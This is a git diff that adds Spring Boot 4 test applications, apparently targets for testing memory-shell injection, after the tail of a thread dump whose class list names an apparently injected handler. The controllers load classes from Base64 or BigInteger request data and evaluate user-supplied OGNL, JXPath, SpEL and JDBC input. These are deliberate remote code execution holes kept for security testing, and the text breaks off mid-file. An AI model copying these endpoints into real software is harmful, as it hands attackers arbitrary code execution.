reactor.core.publisher.FluxMap$MapSubscriber.onComplete(FluxMap.java:144) + at reactor.netty.channel.FluxReceive.onInboundComplete(FluxReceive.java:419) + at reactor.netty.channel.ChannelOperations.onInboundComplete(ChannelOperations.java:467) + at reactor.netty.http.server.HttpServerOperations.handleLastHttpContent(HttpServerOperations.java:931) + at reactor.netty.http.server.HttpServerOperations.onInboundNext(HttpServerOperations.java:840) + at reactor.netty.channel.ChannelOperationsHandler.channelRead(ChannelOperationsHandler.java:115) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:357) + at reactor.netty.http.server.HttpTrafficHandler.channelRead(HttpTrafficHandler.java:340) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:355) + at io.netty.channel.CombinedChannelDuplexHandler$DelegatingChannelHandlerContext.fireChannelRead(CombinedChannelDuplexHandler.java:434) + at io.netty.handler.codec.ByteToMessageDecoder.fireChannelRead(ByteToMessageDecoder.java:361) + at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:325) + at io.netty.channel.CombinedChannelDuplexHandler.channelRead(CombinedChannelDuplexHandler.java:249) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:355) + at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1429) + at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:918) + at io.netty.channel.nio.AbstractNioByteChannel$NioByteUnsafe.read(AbstractNioByteChannel.java:176) + at io.netty.channel.nio.AbstractNioChannel$AbstractNioUnsafe.handle(AbstractNioChannel.java:445) + at io.netty.channel.nio.NioIoHandler$DefaultNioRegistration.handle(NioIoHandler.java:388) + at io.netty.channel.nio.NioIoHandler.processSelectedKey(NioIoHandler.java:596) + at io.netty.channel.nio.NioIoHandler.processSelectedKeysOptimized(NioIoHandler.java:571) + at io.netty.channel.nio.NioIoHandler.processSelectedKeys(NioIoHandler.java:512) + at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:484) + at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225) + at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196) + at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@17.0.17/java.lang.ref.Reference.processPendingReferences(Reference.java:253) + at java.base@17.0.17/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"reactor-http-nio-4" #25 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.17/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:62) + at io.netty.channel.nio.NioIoHandler.select(NioIoHandler.java:668) + at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:434) + at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225) + at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196) + at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"reactor-http-nio-3" #24 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.17/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:62) + at io.netty.channel.nio.NioIoHandler.select(NioIoHandler.java:668) + at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:434) + at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225) + at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196) + at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Common-Cleaner" #13 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@26f677bd + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/java.lang.Object.wait(Native Method) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.17/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + at java.base@17.0.17/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"boundedElastic-evictor-1" #19 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@12e3539f + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"reactor-http-nio-1" #20 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.17/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:62) + at io.netty.channel.nio.NioIoHandler.select(NioIoHandler.java:668) + at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:434) + at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225) + at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196) + at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + + +=========================================== + +StackClassNames: +com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController +com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController$$Lambda$1035/0x0000008801469f58 +io.netty.channel.AbstractChannelHandlerContext +io.netty.channel.CombinedChannelDuplexHandler +io.netty.channel.CombinedChannelDuplexHandler$DelegatingChannelHandlerContext +io.netty.channel.DefaultChannelPipeline +io.netty.channel.DefaultChannelPipeline$HeadContext +io.netty.channel.SingleThreadIoEventLoop +io.netty.channel.nio.AbstractNioByteChannel$NioByteUnsafe +io.netty.channel.nio.AbstractNioChannel$AbstractNioUnsafe +io.netty.channel.nio.NioIoHandler +io.netty.channel.nio.NioIoHandler$DefaultNioRegistration +io.netty.channel.nio.SelectedSelectionKeySetSelector +io.netty.handler.codec.ByteToMessageDecoder +io.netty.util.concurrent.FastThreadLocalRunnable +io.netty.util.concurrent.SingleThreadEventExecutor$5 +io.netty.util.internal.ThreadExecutorMap$2 +org.apache.commons.XZlyH.ErrorUnpvzHandler +org.springframework.boot.reactor.netty.NettyWebServer$1 +reactor.core.publisher.BlockingSingleSubscriber +reactor.core.publisher.FluxContextWrite$ContextWriteSubscriber +reactor.core.publisher.FluxFilterFuseable$FilterFuseableConditionalSubscriber +reactor.core.publisher.FluxMap$MapSubscriber +reactor.core.publisher.FluxMapFuseable$MapFuseableConditionalSubscriber +reactor.core.publisher.FluxMapFuseable$MapFuseableSubscriber +reactor.core.publisher.FluxPeek$PeekSubscriber +reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber +reactor.core.publisher.Mono +reactor.core.publisher.MonoCacheTime$CoordinatorSubscriber +reactor.core.publisher.MonoCollect$CollectSubscriber +reactor.core.publisher.MonoFlatMap$FlatMapMain +reactor.core.publisher.Operators$BaseFluxToMonoOperator +reactor.core.publisher.Operators$MonoSubscriber +reactor.netty.channel.ChannelOperations +reactor.netty.channel.ChannelOperationsHandler +reactor.netty.channel.FluxReceive +reactor.netty.http.server.HttpServerOperations +reactor.netty.http.server.HttpTrafficHandler diff --git a/settings.gradle.kts b/settings.gradle.kts index cc137869..91394f02 100644 --- a/settings.gradle.kts +++ b/settings.gradle.kts @@ -44,9 +44,11 @@ include("vul:vul-springboot2") include("vul:vul-springboot2-jetty") include("vul:vul-springboot2-undertow") include("vul:vul-springboot3") +include("vul:vul-springboot4") include("vul:vul-springboot359") include("vul:vul-springboot2-webflux") include("vul:vul-springboot3-webflux") +include("vul:vul-springboot4-webflux") include("vul:vul-playframework") include("vul:vul-dubbo") include("memshell-agent:memshell-agent-attacher") diff --git a/vul/vul-springboot4-webflux/Dockerfile b/vul/vul-springboot4-webflux/Dockerfile new file mode 100644 index 00000000..f9c18847 --- /dev/null +++ b/vul/vul-springboot4-webflux/Dockerfile @@ -0,0 +1,8 @@ +FROM eclipse-temurin:17.0.17_10-jdk +WORKDIR /app + +COPY build/libs/vul-springboot4-webflux.jar /app/app.jar + +EXPOSE 8080 + +ENTRYPOINT java $JAVA_OPTS -jar app.jar diff --git a/vul/vul-springboot4-webflux/build.gradle.kts b/vul/vul-springboot4-webflux/build.gradle.kts new file mode 100644 index 00000000..95bd8ddf --- /dev/null +++ b/vul/vul-springboot4-webflux/build.gradle.kts @@ -0,0 +1,15 @@ +plugins { + id("java") + id("org.springframework.boot") version "4.0.8" + id("io.spring.dependency-management") version "1.1.7" +} + +java { + toolchain { + languageVersion = JavaLanguageVersion.of(17) + } +} + +dependencies { + implementation("org.springframework.boot:spring-boot-starter-webflux") +} diff --git a/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/ClassDefiner.java b/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/ClassDefiner.java new file mode 100644 index 00000000..e44a63dc --- /dev/null +++ b/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/ClassDefiner.java @@ -0,0 +1,14 @@ +package com.reajason.javaweb.vul.springboot4; + +public class ClassDefiner extends ClassLoader { + public ClassDefiner() { + } + + public ClassDefiner(ClassLoader parent) { + super(parent); + } + + public Class defineClass(byte[] code) { + return defineClass(null, code, 0, code.length); + } +} \ No newline at end of file diff --git a/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/VulSpringboot4Application.java b/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/VulSpringboot4Application.java new file mode 100644 index 00000000..ee579cb7 --- /dev/null +++ b/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/VulSpringboot4Application.java @@ -0,0 +1,13 @@ +package com.reajason.javaweb.vul.springboot4; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class VulSpringboot4Application { + + public static void main(String[] args) { + SpringApplication.run(VulSpringboot4Application.class, args); + } + +} diff --git a/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/controller/Base64ClassLoaderController.java b/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/controller/Base64ClassLoaderController.java new file mode 100644 index 00000000..744fded8 --- /dev/null +++ b/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/controller/Base64ClassLoaderController.java @@ -0,0 +1,35 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import com.reajason.javaweb.vul.springboot4.ClassDefiner; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import org.springframework.web.server.ServerWebExchange; +import reactor.core.publisher.Mono; + +import java.util.Base64; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +@RequestMapping("/b64") +public class Base64ClassLoaderController { + + @PostMapping + public Mono handleFormSubmission(ServerWebExchange exchange) { + return exchange.getFormData() + .flatMap(formData -> { + String data = formData.getFirst("data"); + byte[] bytes = Base64.getDecoder().decode(data); + Object o = null; + try { + o = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytes).newInstance(); + } catch (Exception e) { + throw new RuntimeException(e); + } + return Mono.just(o.toString()); + }); + } +} \ No newline at end of file diff --git a/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/controller/IndexController.java b/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/controller/IndexController.java new file mode 100644 index 00000000..54cddb40 --- /dev/null +++ b/vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/controller/IndexController.java @@ -0,0 +1,123 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +public class IndexController { + + @RequestMapping("/test") + public String test() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { + return ""; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName) throws + Exception { + return invokeMethod(obj, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws + Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + try { + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + } + return null; + } + + @GetMapping("/") + public String index() { + return "hello"; + } +} diff --git a/vul/vul-springboot4-webflux/src/main/resources/application.properties b/vul/vul-springboot4-webflux/src/main/resources/application.properties new file mode 100644 index 00000000..330e4c5d --- /dev/null +++ b/vul/vul-springboot4-webflux/src/main/resources/application.properties @@ -0,0 +1 @@ +spring.application.name=vul-springboot4 diff --git a/vul/vul-springboot4/Dockerfile b/vul/vul-springboot4/Dockerfile new file mode 100644 index 00000000..e0d12aa5 --- /dev/null +++ b/vul/vul-springboot4/Dockerfile @@ -0,0 +1,8 @@ +FROM eclipse-temurin:17.0.17_10-jdk +WORKDIR /app + +COPY build/libs/vul-springboot4.jar /app/app.jar + +EXPOSE 8080 + +ENTRYPOINT java $JAVA_OPTS -jar app.jar diff --git a/vul/vul-springboot4/build.gradle.kts b/vul/vul-springboot4/build.gradle.kts new file mode 100644 index 00000000..dbd6d513 --- /dev/null +++ b/vul/vul-springboot4/build.gradle.kts @@ -0,0 +1,28 @@ +plugins { + id("java") + id("war") + id("org.springframework.boot") version "4.0.8" + id("io.spring.dependency-management") version "1.1.7" +} + +java { + toolchain { + languageVersion = JavaLanguageVersion.of(17) + } +} + +dependencies { + implementation("org.springframework.boot:spring-boot-starter-webmvc") + testImplementation("org.springframework.boot:spring-boot-starter-test") + testImplementation("org.junit.jupiter:junit-jupiter-api") + testImplementation("org.junit.jupiter:junit-jupiter") + testRuntimeOnly("org.junit.platform:junit-platform-launcher") + runtimeOnly("com.h2database:h2") + implementation("ognl:ognl:2.7.3") + implementation("commons-jxpath:commons-jxpath:1.3") + implementation("commons-beanutils:commons-beanutils:1.9.3") +} + +tasks.test { + useJUnitPlatform() +} diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/ClassDefiner.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/ClassDefiner.java new file mode 100644 index 00000000..47b35178 --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/ClassDefiner.java @@ -0,0 +1,10 @@ +package com.reajason.javaweb.vul.springboot4; + +public class ClassDefiner extends ClassLoader { + private ClassDefiner() { + } + + public static Class defineClass(byte[] code) { + return new ClassDefiner().defineClass(null, code, 0, code.length); + } +} \ No newline at end of file diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/VulSpringboot4Application.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/VulSpringboot4Application.java new file mode 100644 index 00000000..3e9a1f4b --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/VulSpringboot4Application.java @@ -0,0 +1,12 @@ +package com.reajason.javaweb.vul.springboot4; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class VulSpringboot4Application { + + public static void main(String[] args) { + SpringApplication.run(VulSpringboot4Application.class, args); + } +} diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/Base64ClassLoaderController.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/Base64ClassLoaderController.java new file mode 100644 index 00000000..63860867 --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/Base64ClassLoaderController.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import com.reajason.javaweb.vul.springboot4.ClassDefiner; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.util.Base64; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +@RequestMapping("/b64") +public class Base64ClassLoaderController { + + @PostMapping + public String base64ClassLoader(String data) throws InstantiationException, IllegalAccessException { + byte[] bytes = Base64.getDecoder().decode(data); + Object o = ClassDefiner.defineClass(bytes).newInstance(); + return o.toString(); + } +} \ No newline at end of file diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/BigIntegerClassLoaderController.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/BigIntegerClassLoaderController.java new file mode 100644 index 00000000..dcb0ec62 --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/BigIntegerClassLoaderController.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +@RestController +@RequestMapping("/biginteger") +public class BigIntegerClassLoaderController extends ClassLoader { + static byte[] decodeBigInteger(String bigIntegerStr) throws Exception { + Class decoderClass = Class.forName("java.math.BigInteger"); + return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX)); + } + + @PostMapping + public void base64ClassLoader(String data) throws Exception { + byte[] bytes = decodeBigInteger(data); + defineClass(null, bytes, 0, bytes.length).newInstance(); + } +} diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/IndexController.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/IndexController.java new file mode 100644 index 00000000..54cddb40 --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/IndexController.java @@ -0,0 +1,123 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +public class IndexController { + + @RequestMapping("/test") + public String test() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { + return ""; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName) throws + Exception { + return invokeMethod(obj, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws + Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + try { + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + } + return null; + } + + @GetMapping("/") + public String index() { + return "hello"; + } +} diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/JDBCController.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/JDBCController.java new file mode 100644 index 00000000..c220540b --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/JDBCController.java @@ -0,0 +1,31 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.sql.Connection; +import java.sql.DriverManager; + +/** + * @author ReaJason + * @since 2025/6/27 + */ +@RestController +public class JDBCController { + + @PostMapping("/jdbc") + public void JDBC(String data) throws Exception { + try { + Connection connection = DriverManager.getConnection(data); + connection.close(); + } catch (Throwable e) { + Throwable ex = e.getCause(); + while (ex.getCause() != null) { + ex = ex.getCause(); + } + if (!(ex instanceof ClassCastException)) { + throw e; + } + } + } +} diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/JXPathController.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/JXPathController.java new file mode 100644 index 00000000..23c025a3 --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/JXPathController.java @@ -0,0 +1,20 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import org.apache.commons.jxpath.JXPathContext; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +@RestController +@RequestMapping("/jxpath") +public class JXPathController { + @PostMapping + protected Object doPost(String data) { + JXPathContext context = JXPathContext.newContext(null); + return context.getValue(data); + } +} diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/OgnlController.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/OgnlController.java new file mode 100644 index 00000000..e99eaa7d --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/OgnlController.java @@ -0,0 +1,25 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import ognl.Ognl; +import ognl.OgnlContext; +import ognl.OgnlException; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +@RestController +@RequestMapping("/ognl") +public class OgnlController { + @RequestMapping + protected Object doPost(String data) { + OgnlContext context = new OgnlContext(); + try { + return Ognl.getValue(data, context, context.getRoot()); + } catch (OgnlException e) { + throw new RuntimeException(e); + } + } +} diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/SpELController.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/SpELController.java new file mode 100644 index 00000000..18693dab --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/SpELController.java @@ -0,0 +1,25 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import org.springframework.expression.spel.standard.SpelExpressionParser; +import org.springframework.expression.spel.support.StandardEvaluationContext; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import 